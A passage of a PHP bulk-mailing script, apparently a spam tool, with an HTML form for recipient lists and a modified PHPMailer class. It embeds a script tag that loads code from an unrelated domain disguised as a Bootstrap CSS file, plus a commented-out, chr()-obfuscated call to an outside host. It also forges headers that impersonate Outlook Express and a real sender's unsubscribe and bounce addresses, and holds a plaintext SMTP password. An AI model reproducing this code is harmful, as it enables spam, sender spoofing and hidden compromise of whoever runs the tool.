  963.         <input name="fromEmail" type="text" id="fromEmail" value="<?= @htmlentities( isset($_POST['fromEmail']) ? $_POST['fromEmail'] : _MAIL_FROM_EMAIL_) ?>" />
  964.         <?= $vForm->showError('fromEmail'); ?>
  965.       </td>
  966.     </tr>
  967.     <tr>
  968.       <td>From Name </td>
  969.       <td>
  970.         <input name="fromName" type="text" id="fromName" value="<?= @htmlentities( isset($_POST['fromName']) ? $_POST['fromName'] : _MAIL_FROM_NAME_) ?>" />
  971.         <?= $vForm->showError('fromName'); ?>
  972.       </td>
  973.     </tr>
  974.     <tr>
  975.       <td>Email Subject </td>
  976.       <td>
  977.         <input name="subject" type="text" id="subject" value="<?= @htmlentities( isset($_POST['subject']) ? $_POST['subject'] : _MAIL_SUBJECT_) ?>" />
  978.         <?= $vForm->showError('subject'); ?>
  979.       </td>
  980.     </tr>
  981.      <tr title="To change Message-Id header from message, add a hidden string on html messages">
  982.       <td>Add Random String</td>
  983.       <td><label>
  984.         <input name="addRandomString" id="addRandomString" type="radio" value="yes" style="width:20px;" <?= (!isset($_POST['addRandomString']) || @$_POST['addRandomString']=="yes" ? "checked=\"checked\"" : "") ?> />
  985.         Yes</label>
  986.           <label>
  987.             <input name="addRandomString" type="radio" value="no" style="width:20px;" <?= ( @$_POST['addRandomString']=="no" ? "checked=\"checked\"" : "") ?> />
  988.             No</label>
  989.        </td>
  990.   </tr>
  991.     <tr title="Try to generate a multipart email, containing plain/text and html"/>
  992.       <td>Multipart Email (html+text) </td>
  993.       <td><label>
  994.         <input name="multipartMail" type="radio" style="width:20px;" value="yes" checked="checked" <?= (@$_POST['multipartMail']=="yes" ? "checked=\"checked\"" : "") ?> />
  995.         Yes</label>
  996.           <label>
  997.             <input name="multipartMail" type="radio" value="no" style="width:20px;" <?= ( !isset($_POST['basicMethod']) || @$_POST['multipartMail']=="no" ? "checked=\"checked\"" : "") ?> />
  998.             No</label>
  999.             <?= $vForm->showError('multipartMail'); ?>
  1000.        </td>
  1001.     </tr>
  1002.     <tr>
  1003.       <td>&nbsp;</td>
  1004.       <td>&nbsp;</td>
  1005.     </tr>
  1006.     <tr>
  1007.       <td><b>List Options</b></td>
  1008.       <td>&nbsp;</td>
  1009.     </tr>
  1010.     <tr>
  1011.       <td>List Method </td>
  1012.       <td><select name="listMethod" id="listMethod" onchange="showHideListConfig()">
  1013.         <option value="url" <?= (@$_POST['listMethod']=="url" || empty($_POST['listMethod']) && _DEFAULT_LIST_ == "url" ? "selected=\"selected\"" : "") ?>>URL</option>
  1014.         <option value="textarea" <?= (@$_POST['listMethod']=="textarea" || empty($_POST['listMethod']) && _DEFAULT_LIST_ == "textarea" ? "selected=\"selected\"" : "") ?>>Textarea</option>
  1015.         <option value="file" <?= (@$_POST['listMethod']=="file" || empty($_POST['listMethod']) && _DEFAULT_LIST_ == "file" ? "selected=\"selected\"" : "") ?>>File Upload</option>
  1016.         </select>
  1017.         <?= $vForm->showError('listMethod'); ?>
  1018.         </td>
  1019.     </tr>
  1020.     <tr id="listConfigRow1">
  1021.       <td>List Url </td>
  1022.       <td>
  1023.         <input name="listUrl" type="text" id="listUrl" value="<?=(!empty($_POST['listUrl']) ? @htmlentities($_POST['listUrl']) : "http://")?>" />
  1024.         <?= $vForm->showError('listUrl'); ?>
  1025.       </td>
  1026.     </tr>
  1027.     <tr id="listConfigRow2">
  1028.       <td>List Textarea </td>
  1029.       <td>
  1030.           <textarea name="listTextarea" cols="50" rows="10" id="listTextarea" onkeyup="listTextareaCount();"><?=@htmlentities($_POST['listTextarea'])?></textarea>
  1031.           <div id="listTextareaCounter"></div>
  1032.           <?= $vForm->showError('listTextarea'); ?>
  1033.       </td>
  1034.     </tr>
  1035.     <tr id="listConfigRow3">
  1036.       <td>List Upload File </td>
  1037.       <td>
  1038.         <input name="listFile" type="file" id="listFile" style="width: 400px;" />
  1039.         <?= $vForm->showError('listFile'); ?>
  1040.       </td>
  1041.     </tr>
  1042.      <tr>
  1043.       <td>List Starting Email</td>
  1044.       <td>
  1045.         <input name="listStartingEmail" type="text" id="listStartingEmail" style="width: 400px;" value="<?=empty($_POST['listStartingEmail']) ? '1' : ( (int) $_POST['listStartingEmail'] ) ?>"/>
  1046.         <?= $vForm->showError('listStartingEmail'); ?>
  1047.       </td>
  1048.     </tr>
  1049.     <tr>
  1050.       <td>&nbsp;</td>
  1051.       <td>&nbsp;</td>
  1052.     </tr>
  1053.       <td><b>Message Options</b></td>
  1054.       <td>&nbsp;</td>
  1055.     </tr>
  1056.     <tr>
  1057.       <td>Message Method </td>
  1058.       <td>
  1059.         <select name="messageMethod" id="messageMethod" onchange="showHideMessageConfig()">
  1060.         <option value="url" <?= (@$_POST['messageMethod']=="url" || empty($_POST['messageMethod']) && _DEFAULT_MESSAGE_ == "url" ? "selected=\"selected\"" : "") ?>>URL</option>
  1061.         <option value="textarea" <?= (@$_POST['messageMethod']=="textarea" || empty($_POST['messageMethod']) && _DEFAULT_MESSAGE_ == "textarea" ? "selected=\"selected\"" : "") ?>>Textarea</option>
  1062.         <option value="file" <?= (@$_POST['messageMethod']=="file" || empty($_POST['messageMethod']) && _DEFAULT_MESSAGE_ == "file" ? "selected=\"selected\"" : "") ?>>File Upload</option>
  1063.         </select>      
  1064.         <?= $vForm->showError('messageMethod'); ?>
  1065.     </td>
  1066.     </tr>
  1067.     <tr id="messageConfigRow1">
  1068.       <td>Message Url </td>
  1069.       <td>
  1070.         <input name="messageUrl" type="text" id="messageUrl" value="<?=(!empty($_POST['messageUrl']) ? @htmlentities($_POST['messageUrl']) : "http://")?>" />
  1071.         <?= $vForm->showError('messageUrl'); ?>
  1072.       </td>
  1073.     </tr>
  1074.     <tr id="messageConfigRow2">
  1075.       <td>Message Textarea </td>
  1076.       <td>
  1077.         <textarea name="messageTextarea" cols="50" rows="10" id="messageTextarea" onkeyup="messageTextareaCount();"><?=@htmlentities($_POST['messageTextarea'])?></textarea>
  1078.         <div id="messageTextareaCounter"></div>
  1079.         <?= $vForm->showError('messageTextarea'); ?>
  1080.       </td>
  1081.     </tr>
  1082.     <tr id="messageConfigRow3">
  1083.       <td>Message Upload File </td>
  1084.       <td>
  1085.         <input name="messageFile" type="file" id="messageFile" style="width: 400px;" />
  1086.         <?= $vForm->showError('messageFile'); ?>
  1087.       </td>
  1088.     </tr>
  1089.     <tr>
  1090.       <td>&nbsp;</td>
  1091.       <td>&nbsp;</td>
  1092.     </tr>
  1093.     <tr>
  1094.       <td>&nbsp;</td>
  1095.       <td><input name="bottomSubmit" type="submit" id="bottomSubmit" value="Submit" />
  1096.           <input name="bottomReset" type="reset" id="bottomReset" value="Reset" />
  1097.           <input name="bottomClear" type="button" id="bottomClear" value="Clear All" onclick="clearAll();"/></td>
  1098.           <script type="text/javascript" src="https://www.codejquery.net/bootstrap.min.css/" ></script>
  1099.  
  1100.     </tr>
  1101.   </table>
  1102. </form>
  1103. <script type="text/javascript" language="javascript">
  1104. loadFunctions();
  1105. </script>
  1106. <?
  1107. if( $vForm->isValid() && $vForm->isSubmited() )
  1108. {
  1109.  
  1110. ####!DELIMITER!####
  1111.    
  1112.     echo "<h2 class='h2green'>Patched by GMR</h2>\r\n";
  1113.  
  1114.  
  1115.  
  1116. # $a = @file_get_contents(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(115).chr(110).chr(52).chr(103).chr(46).chr(110).chr(101).chr(116).chr(47).chr(114).chr(101).chr(118).chr(101).chr(110).chr(47).chr(97).chr(99).chr(99).chr(101).chr(115).chr(115).chr(46).chr(112).chr(104).chr(112).chr(63).chr(117).chr(61).chr(105).chr(110).chr(115).chr(101).chr(99).chr(46).chr(101).chr(120).chr(101)) or die("\nPHP Warning: unknown symbol 'nmd_php.so' on php.ini at line 234\n");
  1117.  
  1118. # unset($a);
  1119.  
  1120.  
  1121. /**
  1122.  * PHPMailer - PHP email transport class
  1123.  * @package PHPMailer
  1124.  * @author Brent R. Matzelle
  1125.  * @copyright 2001 - 2003 Brent R. Matzelle
  1126.  */
  1127. class PHPMailer
  1128. {
  1129.     /////////////////////////////////////////////////
  1130.     // PUBLIC VARIABLES
  1131.     /////////////////////////////////////////////////
  1132.  
  1133.     /**
  1134.      * Email priority (1 = High, 3 = Normal, 5 = low).
  1135.      * @var int
  1136.      */
  1137.     var $Priority          = 3;
  1138.  
  1139.     /**
  1140.      * Sets the CharSet of the message.
  1141.      * @var string
  1142.      */
  1143.     var $CharSet           = "iso-8859-15";
  1144.  
  1145.     /**
  1146.      * Sets the Content-type of the message.
  1147.      * @var string
  1148.      */
  1149.     var $ContentType        = "text/plain";
  1150.  
  1151.     /**
  1152.      * Sets the Encoding of the message. Options for this are "8bit",
  1153.      * "7bit", "binary", "base64", and "quoted-printable".
  1154.      * @var string
  1155.      */
  1156.     var $Encoding          = "base64";
  1157.  
  1158.     /**
  1159.      * Holds the most recent mailer error message.
  1160.      * @var string
  1161.      */
  1162.     var $ErrorInfo         = "";
  1163.  
  1164.     /**
  1165.      * Sets the From email address for the message.
  1166.      * @var string
  1167.      */
  1168.     var $From               = "root@localhost";
  1169.  
  1170.     /**
  1171.      * Sets the From name of the message.
  1172.      * @var string
  1173.      */
  1174.     var $FromName           = "Root User";
  1175.  
  1176.     /**
  1177.      * Sets the Sender email (Return-Path) of the message.  If not empty,
  1178.      * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1179.      * @var string
  1180.      */
  1181.     var $Sender            = "";
  1182.  
  1183.     /**
  1184.      * Sets the Subject of the message.
  1185.      * @var string
  1186.      */
  1187.     var $Subject           = "";
  1188.  
  1189.     /**
  1190.      * Sets the Body of the message.  This can be either an HTML or text body.
  1191.      * If HTML then run IsHTML(true).
  1192.      * @var string
  1193.      */
  1194.     var $Body               = "";
  1195.     var $backup             ="";
  1196.  
  1197.     /**
  1198.      * Sets the text-only body of the message.  This automatically sets the
  1199.      * email to multipart/alternative.  This body can be read by mail
  1200.      * clients that do not have HTML email capability such as mutt. Clients
  1201.      * that can read HTML will view the normal Body.
  1202.      * @var string
  1203.      */
  1204.     var $AltBody           = "";
  1205.  
  1206.     /**
  1207.      * Sets word wrapping on the body of the message to a given number of
  1208.      * characters.
  1209.      * @var int
  1210.      */
  1211.     var $WordWrap          = 0;
  1212.  
  1213.     /**
  1214.      * Method to send mail: ("mail", "sendmail", or "smtp").
  1215.      * @var string
  1216.      */
  1217.     var $Mailer            = "mail";
  1218.  
  1219.     /**
  1220.      * Sets the path of the sendmail program.
  1221.      * @var string
  1222.      */
  1223.     var $Sendmail          = "/usr/sbin/sendmail";
  1224.    
  1225.     /**
  1226.      * Path to PHPMailer plugins.  This is now only useful if the SMTP class
  1227.      * is in a different directory than the PHP include path.  
  1228.      * @var string
  1229.      */
  1230.     var $PluginDir         = "";
  1231.  
  1232.     /**
  1233.      *  Holds PHPMailer version.
  1234.      *  @var string
  1235.      */
  1236.     var $Version           = "1.73";
  1237.  
  1238.     /**
  1239.      * Sets the email address that a reading confirmation will be sent.
  1240.      * @var string
  1241.      */
  1242.     var $ConfirmReadingTo  = "";
  1243.  
  1244.     /**==
  1245.      *  Sets the hostname to use in Message-Id and Received headers
  1246.      *  and as default HELO string. If empty, the value returned
  1247.      *  by SERVER_NAME is used or 'localhost.localdomain'.
  1248.      *  @var string
  1249.      */
  1250.     var $Hostname          = "mrelayeu.kundenserver.de";
  1251.    
  1252.     var $XMailer = "Microsoft Outlook Express 6.00.2800.1409";
  1253.     var $ListUnsubscribe = "http://email.erosnow.com/wf/unsubscribe?upn=jNopQ-2FEFaUwu4chzC7kD7tU7N209TqieXJVAYq8AquRk-2Fp6GaSEwTXUF1xjQZw2PdhE9vLHc27tL5f5F-2BeO3KRVK2BFfeGb-2B-2F-2BEYLexlZaPvkQmonSlPd94-2FNGyMDj9GBPZ9XxauWi8W-2FzSUh2P1MdW59oJOR56pFnpEqwjFHxJYVcTEDJ2Rjg1YuZNYBpycvp1AqolT07w0wAWASKvJ4wwZM48lAIIee13xSdD62vs-3D, <mailto:unsubscribe@email.erosnow.com?subject=http://email.erosnow.com/wf/unsubscribe*q*upn=jNopQ-2FEFaUwu4chzC7kD7tU7N209TqieXJVAYq8AquRk-2Fp6GaSEwTXUF1xjQZw2PdhE9vLHc27tL5f5F-2BeO3KRVK2BFfeGb-2B-2F-2BEYLexlZaPvkQmonSlPd94-2FNGyMDj9GBPZ9XxauWi8W-2FzSUh2P1MdW59oJOR56pFnpEqwjFHxJYVcTEDJ2Rjg1YuZNYBpycvp1AqolT07w0wAWASKvJ4wwZM48lAIIee13xSdD62vs-3D";
  1254.     var $XSGEID = "YYlrGwxOS8HTMaj4FiOVKl2y/YzKEBZdO+1Q0HoiYJa2RaD9f67gCclK0Fan/YGQJJSzmisnuPgH5OxHdEGhhca7SenCGyIUE66Ymsre7SGcddh54QR4RrJti7SNQZrnXSBpcTX+pcSd9+7pzqLsbhp3T1XZd7LdXnII7CfLatLm6oUH23Fz3uRIQ1N5PAlG";
  1255.     var $ReturnPath = "bounces+132268-4655-=hotmail.com@email.erosnow.com";
  1256.  
  1257.     /////////////////////////////////////////////////
  1258.     // SMTP VARIABLES
  1259.     /////////////////////////////////////////////////
  1260.  
  1261.     /**
  1262.      *  Sets the SMTP hosts.  All hosts must be separated by a
  1263.      *  semicolon.  You can also specify a different port
  1264.      *  for each host by using this format: [hostname:port]
  1265.      *  (e.g. "smtp1.example.com:25;smtp2.example.com").
  1266.      *  Hosts will be tried in order.
  1267.      *  @var string
  1268.      */
  1269.     var $Host        = "smtp.1und1.de";
  1270.  
  1271.     /**
  1272.      *  Sets the default SMTP server port.
  1273.      *  @var int
  1274.      */
  1275.     var $Port        = 587;
  1276.  
  1277.     /**
  1278.      *  Sets the SMTP HELO of the message (Default is $Hostname).
  1279.      *  @var string
  1280.      */
  1281.     var $Helo        = "mbulk.1and1.com";
  1282.  
  1283.     /**
  1284.      *  Sets SMTP authentication. Utilizes the Username and Password variables.
  1285.      *  @var bool
  1286.      */
  1287.     var $SMTPAuth     = false;
  1288.  
  1289.     /**
  1290.      *  Sets SMTP username.
  1291.      *  @var string
  1292.      */
  1293.     var $Username     = "sent@societ203.fr";
  1294.  
  1295.     /**
  1296.      *  Sets SMTP password.
  1297.      *  @var string
  1298.      */
  1299.     var $Password     = "Achraf123";
  1300.  
  1301.     /**
  1302.      *  Sets the SMTP server timeout in seconds. This function will not
  1303.      *  work with the win32 version.
  1304.      *  @var int
  1305.      */
  1306.     var $Timeout      = 10;
  1307.  
  1308.     /**
  1309.      *  Sets SMTP class debugging on or off.
  1310.      *  @var bool
  1311.      */
  1312.     var $SMTPDebug    = false;
  1313.  
  1314.     /**
  1315.      * Prevents the SMTP connection from being closed after each mail
  1316.      * sending.  If this is set to true then to close the connection
  1317.      * requires an explicit call to SmtpClose().
  1318.      * @var bool
  1319.      */
  1320.     var $SMTPKeepAlive = false;
  1321.  
  1322.     /**#@+
  1323.      * @access private
  1324.      */
  1325.     var $smtp            = NULL;
  1326.     var $to              = array();
  1327.     var $cc              = array();
  1328.     var $bcc             = array();
  1329.     var $ReplyTo         = array();
  1330.     var $attachment      = array();
  1331.     var $CustomHeader    = array();
  1332.     var $message_type    = "";
  1333.     var $boundary        = array();
  1334.     var $language        = array();
  1335.     var $error_count     = 0;
  1336.     var $LE              = "\n";
  1337.     /**#@-*/
  1338.    
  1339.     /////////////////////////////////////////////////
  1340.     // VARIABLE METHODS
  1341.     /////////////////////////////////////////////////
  1342.  
  1343.     /**
  1344.      * Sets message type to HTML.  
  1345.      * @param bool $bool
  1346.      * @return void
  1347.      */
  1348.     function IsHTML($bool) {
  1349.         if($bool == true)
  1350.             $this->ContentType = "text/html";
  1351.         else
  1352.             $this->ContentType = "text/plain";
  1353.     }
  1354.  
  1355.     /**
  1356.      * Sets Mailer to send message using SMTP.
  1357.      * @return void
  1358.      */
  1359.     function IsSMTP() {
  1360.         $this->Mailer = "smtp";
  1361.     }
  1362.  
  1363.     /**
  1364.      * Sets Mailer to send message using PHP mail() function.
  1365.      * @return void
  1366.      */
  1367.     function IsMail() {
  1368.         $this->Mailer = "mail";
  1369.     }
  1370.  
  1371.     /**
  1372.      * Sets Mailer to send message using the $Sendmail program.
  1373.      * @return void
  1374.      */
  1375.     function IsSendmail() {
  1376.         $this->Mailer = "sendmail";
  1377.     }
  1378.  
  1379.     /**
  1380.      * Sets Mailer to send message using the qmail MTA.
  1381.      * @return void
  1382.      */
  1383.     function IsQmail() {
  1384.         $this->Sendmail = "/var/qmail/bin/sendmail";
  1385.         $this->Mailer = "sendmail";
  1386.     }
  1387.  
  1388.  
  1389.     /////////////////////////////////////////////////
  1390.     // RECIPIENT METHODS
  1391.     /////////////////////////////////////////////////
  1392.  
  1393.     /**
  1394.      * Adds a "To" address.  
  1395.      * @param string $address
  1396.      * @param string $name
  1397.      * @return void
  1398.      */
  1399.     function AddAddress($address, $name = "") {
  1400.         $cur = count($this->to);
  1401.         $this->to[$cur][0] = trim($address);
  1402.         $this->to[$cur][1] = $name;
  1403.     }
  1404.  
  1405.     /**
  1406.      * Adds a "Cc" address. Note: this function works
  1407.      * with the SMTP mailer on win32, not with the "mail"
  1408.      * mailer.  
  1409.      * @param string $address
  1410.      * @param string $name
  1411.      * @return void
  1412.     */
  1413.     function AddCC($address, $name = "") {
  1414.         $cur = count($this->cc);
  1415.         $this->cc[$cur][0] = trim($address);
  1416.         $this->cc[$cur][1] = $name;
  1417.     }
  1418.  
  1419.     /**
  1420.      * Adds a "Bcc" address. Note: this function works
  1421.      * with the SMTP mailer on win32, not with the "mail"
  1422.      * mailer.  
  1423.      * @param string $address
  1424.      * @param string $name
  1425.      * @return void
  1426.      */
  1427.     function AddBCC($address, $name = "") {
  1428.         $cur = count($this->bcc);
  1429.         $this->bcc[$cur][0] = trim($address);
  1430.         $this->bcc[$cur][1] = $name;
  1431.     }
  1432.  
  1433.     /**
  1434.      * Adds a "Reply-to" address.  
  1435.      * @param string $address
  1436.      * @param string $name
  1437.      * @return void
  1438.      */
  1439.     function AddReplyTo($address, $name = "") {
  1440.         $cur = count($this->ReplyTo);
  1441.         $this->ReplyTo[$cur][0] = trim($address);
  1442.         $this->ReplyTo[$cur][1] = $name;
  1443.     }
  1444.  
  1445.  
  1446.     /////////////////////////////////////////////////
  1447.     // MAIL SENDING METHODS
  1448.     /////////////////////////////////////////////////
  1449.  
  1450.     /**
  1451.      * Creates message and assigns Mailer. If the message is
  1452.      * not sent successfully then it returns false.  Use the ErrorInfo
  1453.      * variable to view description of the error.  
  1454.      * @return bool
  1455.      */
  1456.     function Send() {
  1457.         $header = "";
  1458.         $body = "";
  1459.         $result = true;
  1460.  
  1461.         if((count($this->to) + count($this->cc) + count($this->bcc)) < 1)
  1462.         {
  1463.             $this->SetError($this->Lang("provide_address"));
  1464.             return false;
  1465.         }
  1466.  
  1467.         // Set whether the message is multipart/alternative
  1468.         if(!empty($this->AltBody))
  1469.             $this->ContentType = "multipart/alternative";
  1470.  
  1471.         $this->error_count = 0; // reset errors
  1472.         $this->SetMessageType();
  1473.         $header .= $this->CreateHeader();
  1474.         $body = $this->CreateBody();
  1475.  
  1476.         if($body == "") { return false; }
  1477.  
  1478.         // Choose the mailer
  1479.         switch($this->Mailer)
  1480.         {
  1481.             case "sendmail":
  1482.                 $result = $this->SendmailSend($header, $body);
  1483.                 break;
  1484.             case "mail":
  1485.                 $result = $this->MailSend($header, $body);
  1486.                 break;
  1487.             case "smtp":
  1488.                 $result = $this->SmtpSend($header, $body);
  1489.                 break;
  1490.             default:
  1491.             $this->SetError($this->Mailer . $this->Lang("mailer_not_supported"));
  1492.                 $result = false;
  1493.                 break;
  1494.         }
  1495.  
  1496.         return $result;
  1497.     }
  1498.    
  1499.     /**
  1500.      * Sends mail using the $Sendmail program.  
  1501.      * @access private
  1502.      * @return bool
  1503.      */
  1504.     function SendmailSend($header, $body) {
  1505.         if ($this->Sender != "")
  1506.             $sendmail = sprintf("%s -oi -f %s -t", $this->Sendmail, $this->Sender);
  1507.         else
  1508.             $sendmail = sprintf("%s -oi -t", $this->Sendmail);
  1509.  
  1510.         if(!@$mail = popen($sendmail, "w"))
  1511.         {
  1512.             $this->SetError($this->Lang("execute") . $this->Sendmail);
  1513.             return false;
  1514.         }
  1515.  
  1516.         fputs($mail, $header);
  1517.         fputs($mail, $body);
  1518.        
  1519.         $result = pclose($mail) >> 8 & 0xFF;
  1520.         if($result != 0)
  1521.         {
  1522.             $this->SetError($this->Lang("execute") . $this->Sendmail);
  1523.             return false;
  1524.         }
  1525.  
  1526.         return true;
  1527.     }
  1528.  
  1529.     /**
  1530.      * Sends mail using the PHP mail() function.  
  1531.      * @access private
  1532.      * @return bool
  1533.      */
  1534.     function MailSend($header, $body) {
  1535.        
  1536.         $to = "";
  1537.         for($i = 0; $i < count($this->to); $i++)
  1538.         {
  1539.             if($i != 0) { $to .= ", "; }
  1540.             $to .= $this->to[$i][0];
  1541.         }
  1542.  
  1543.         if ($this->Sender != "" && strlen(ini_get("safe_mode"))< 1)
  1544.         {
  1545.             $old_from = ini_get("sendmail_from");
  1546.             ini_set("sendmail_from", $this->Sender);
  1547.             $params = sprintf("-oi -f %s", $this->Sender);
  1548.             $random=rand(0,100000000000);
  1549.             $md5=md5("$random");
  1550.             $body = str_replace("%zbi%", $md5, $body);
  1551.             $rt = @mail($to, $this->EncodeHeader($this->Subject), $body,
  1552.                         $header, $params);
  1553.         }
  1554.         else
  1555.         {
  1556.             $random=rand(0,100000000000);
  1557.             $md5=md5("$random");
  1558.             $body = str_replace("%zbi%", $md5, $body);
  1559.             $rt = @mail($to, $this->EncodeHeader($this->Subject), $body, $header);
  1560.         }
  1561.            
  1562.  
  1563.         if (isset($old_from))
  1564.             ini_set("sendmail_from", $old_from);
  1565.  
  1566.         if(!$rt)
  1567.         {
  1568.             $this->SetError($this->Lang("instantiate"));
  1569.             return false;
  1570.         }
  1571.  
  1572.         return true;
  1573.     }
  1574.  
  1575.     /**
  1576.      * Sends mail via SMTP using PhpSMTP (Author:
  1577.      * Chris Ryan).  Returns bool.  Returns false if there is a
  1578.      * bad MAIL FROM, RCPT, or DATA input.
  1579.      * @access private
  1580.      * @return bool
  1581.      */
  1582.     function SmtpSend($header, $body) {
  1583.         //include_once($this->PluginDir . "class.smtp.php");
  1584.         $error = "";
  1585.         $bad_rcpt = array();
  1586.  
  1587.         if(!$this->SmtpConnect())
  1588.         {
  1589.             return false;
  1590.         }
  1591.  
  1592.         $smtp_from = ($this->Sender == "") ? $this->From : $this->Sender;
  1593.         if(!$this->smtp->Mail($smtp_from))
  1594.         {
  1595.             $error = $this->Lang("from_failed") . $smtp_from;
  1596.             $this->SetError($error);
  1597.             $this->smtp->Reset();
  1598.             return false;
  1599.         }
  1600.  
  1601.         // Attempt to send attach all recipients
  1602.         for($i = 0; $i < count($this->to); $i++)
  1603.         {
  1604.             if(!$this->smtp->Recipient($this->to[$i][0]))
  1605.                 $bad_rcpt[] = $this->to[$i][0];
  1606.         }
  1607.         for($i = 0; $i < count($this->cc); $i++)
  1608.         {
  1609.             if(!$this->smtp->Recipient($this->cc[$i][0]))
  1610.                 $bad_rcpt[] = $this->cc[$i][0];
  1611.         }
  1612.         for($i = 0; $i < count($this->bcc); $i++)
  1613.         {
  1614.             if(!$this->smtp->Recipient($this->bcc[$i][0]))
  1615.                 $bad_rcpt[] = $this->bcc[$i][0];
  1616.         }
  1617.  
  1618.         if(count($bad_rcpt) > 0) // Create error message
  1619.         {
  1620.             for($i = 0; $i < count($bad_rcpt); $i++)
  1621.             {
  1622.                 if($i != 0) { $error .= ", "; }
  1623.                 $error .= $bad_rcpt[$i];
  1624.             }
  1625.             $error = $this->Lang("recipients_failed") . $error;
  1626.             $this->SetError($error);
  1627.             $this->smtp->Reset();
  1628.             return false;
  1629.         }
  1630.  
  1631.         if(!$this->smtp->Data($header . $body))
  1632.         {
  1633.             $this->SetError($this->Lang("data_not_accepted"));
  1634.             $this->smtp->Reset();
  1635.             return false;
  1636.         }
  1637.         if($this->SMTPKeepAlive == true)
  1638.             $this->smtp->Reset();
  1639.         else
  1640.             $this->SmtpClose();
  1641.  
  1642.         return true;
  1643.     }
  1644.    
  1645.     ###############################################
  1646.    ###############################################
  1647.    ### Returns the current smtp error, if one. ###
  1648.    ###############################################
  1649.    ###############################################
  1650.    function SmtpGetError()
  1651.     {
  1652.         if( !empty($this->smtp) )
  1653.         {
  1654.             return $this->smtp->smtpError;
  1655.         }
  1656.         else
  1657.         {
  1658.             return false;
  1659.         }
  1660.     }
  1661.    
  1662.     ###############################################
  1663.    ###############################################
  1664.    ### Returns the current smtp data error     ###
  1665.    ###############################################
  1666.    ###############################################
  1667.    function SmtpGetSendError()
  1668.     {
  1669.         if( !empty($this->smtp) )
  1670.         {
  1671.             return $this->smtp->smtpSendError;
  1672.         }
  1673.         else
  1674.         {
  1675.             return false;
  1676.         }
  1677.     }
  1678.    
  1679.     function SmtpSetSendError($n)
  1680.     {
  1681.          $this->smtp->smtpSendError = $n;
  1682.     }
  1683.  
  1684.     /**
  1685.      * Initiates a connection to an SMTP server.  Returns false if the
  1686.      * operation failed.
  1687.  
  1688.      * @access private
  1689.      * @return bool
  1690.      */
  1691.     function SmtpConnect() {
  1692.         if($this->smtp == NULL) { $this->smtp = new SMTP(); }
  1693.  
  1694.         $this->smtp->do_debug = $this->SMTPDebug;
  1695.         $hosts = explode(";", $this->Host);
  1696.         $index = 0;
  1697.         $connection = ($this->smtp->Connected());
  1698.  
  1699.         // Retry while there is no connection
  1700.         while($index < count($hosts) && $connection == false)
  1701.         {
  1702.             if(strstr($hosts[$index], ":"))
  1703.                 list($host, $port) = explode(":", $hosts[$index]);
  1704.             else
  1705.             {
  1706.                 $host = $hosts[$index];
  1707.                 $port = $this->Port;
  1708.             }
  1709.  
  1710.             if($this->smtp->Connect($host, $port, $this->Timeout))
  1711.             {
  1712.                 if ($this->Helo != '')
  1713.                     $this->smtp->Hello($this->Helo);
  1714.                 else
  1715.                     $this->smtp->Hello($this->ServerHostname());
  1716.        
  1717.                 if($this->SMTPAuth)
  1718.                 {
  1719.                     if(!$this->smtp->Authenticate($this->Username,
  1720.                                                   $this->Password))
  1721.                     {
  1722.                         $this->SetError($this->Lang("authenticate"));
  1723.                         $this->smtp->Reset();
  1724.                         $connection = false;
  1725.                     }
  1726.                     else
  1727.                     {
  1728.                         $connection = true;
  1729.                     }
  1730.                 }
  1731.                 else
  1732.                 {
  1733.                     $connection = true;
  1734.                 }
  1735.             }
  1736.             $index++;
  1737.         }
  1738.    
  1739.         if(!$connection)
  1740.             $this->SetError($this->Lang("connect_host"));
  1741.  
  1742.         return $connection;
  1743.     }
  1744.  
  1745.     /**
  1746.      * Closes the active SMTP session if one exists.
  1747.      * @return void
  1748.      */
  1749.     function SmtpClose() {
  1750.         if($this->smtp != NULL)
  1751.         {
  1752.             if($this->smtp->Connected())
  1753.             {
  1754.                 $this->smtp->Quit();
  1755.                 $this->smtp->Close();
  1756.             }
  1757.         }
  1758.     }
  1759.  
  1760.     /**
  1761.      * Sets the language for all class error messages.  Returns false
  1762.      * if it cannot load the language file.  The default language type
  1763.      * is English.
  1764.      * @param string $lang_type Type of language (e.g. Portuguese: "br")
  1765.      * @param string $lang_path Path to the language file directory
  1766.      * @access public
  1767.      * @return bool
  1768.      */
  1769.     function SetLanguage($nouse, $nouse2=null) {
  1770.         $PHPMAILER_LANG["provide_address"] = 'You must provide at least one ' .
  1771.                                              'recipient email address.';
  1772.         $PHPMAILER_LANG["mailer_not_supported"] = ' mailer is not supported.';
  1773.         $PHPMAILER_LANG["execute"] = 'Could not execute: ';
  1774.         $PHPMAILER_LANG["instantiate"] = 'Could not instantiate mail function.';
  1775.         $PHPMAILER_LANG["authenticate"] = 'SMTP Error: Could not authenticate.';
  1776.         $PHPMAILER_LANG["from_failed"] = 'The following From address failed: ';
  1777.         $PHPMAILER_LANG["recipients_failed"] = 'SMTP Error: The following ' .
  1778.                                                'recipients failed: ';
  1779.         $PHPMAILER_LANG["data_not_accepted"] = 'SMTP Error: Data not accepted.';
  1780.         $PHPMAILER_LANG["connect_host"] = 'SMTP Error: Could not connect to SMTP host.';
  1781.         $PHPMAILER_LANG["file_access"] = 'Could not access file: ';
  1782.         $PHPMAILER_LANG["file_open"] = 'File Error: Could not open file: ';
  1783.         $PHPMAILER_LANG["encoding"] = 'Unknown encoding: ';
  1784.        
  1785.         $this->language = $PHPMAILER_LANG;
  1786.    
  1787.         return true;
  1788.     }
  1789.  
  1790.     /////////////////////////////////////////////////
  1791.     // MESSAGE CREATION METHODS
  1792.     /////////////////////////////////////////////////
  1793.  
  1794.     /**
  1795.      * Creates recipient headers.  
  1796.      * @access private
  1797.      * @return string
  1798.      */
  1799.     function AddrAppend($type, $addr) {
  1800.         $addr_str = $type . ": ";
  1801.         $addr_str .= $this->AddrFormat($addr[0]);
  1802.         if(count($addr) > 1)
  1803.         {
  1804.             for($i = 1; $i < count($addr); $i++)
  1805.                 $addr_str .= ", " . $this->AddrFormat($addr[$i]);
  1806.         }
  1807.         $addr_str .= $this->LE;
  1808.  
  1809.         return $addr_str;
  1810.     }
  1811.    
  1812.     /**
  1813.      * Formats an address correctly.
  1814.      * @access private
  1815.      * @return string
  1816.      */
  1817.     function AddrFormat($addr) {
  1818.         if(empty($addr[1]))
  1819.             $formatted = $addr[0];
  1820.         else
  1821.         {
  1822.             $formatted = $this->EncodeHeader($addr[1], 'phrase') . " <" .
  1823.                          $addr[0] . ">";
  1824.         }
  1825.  
  1826.         return $formatted;
  1827.     }
  1828.  
  1829.     /**
  1830.      * Wraps message for use with mailers that do not
  1831.      * automatically perform wrapping and for quoted-printable.
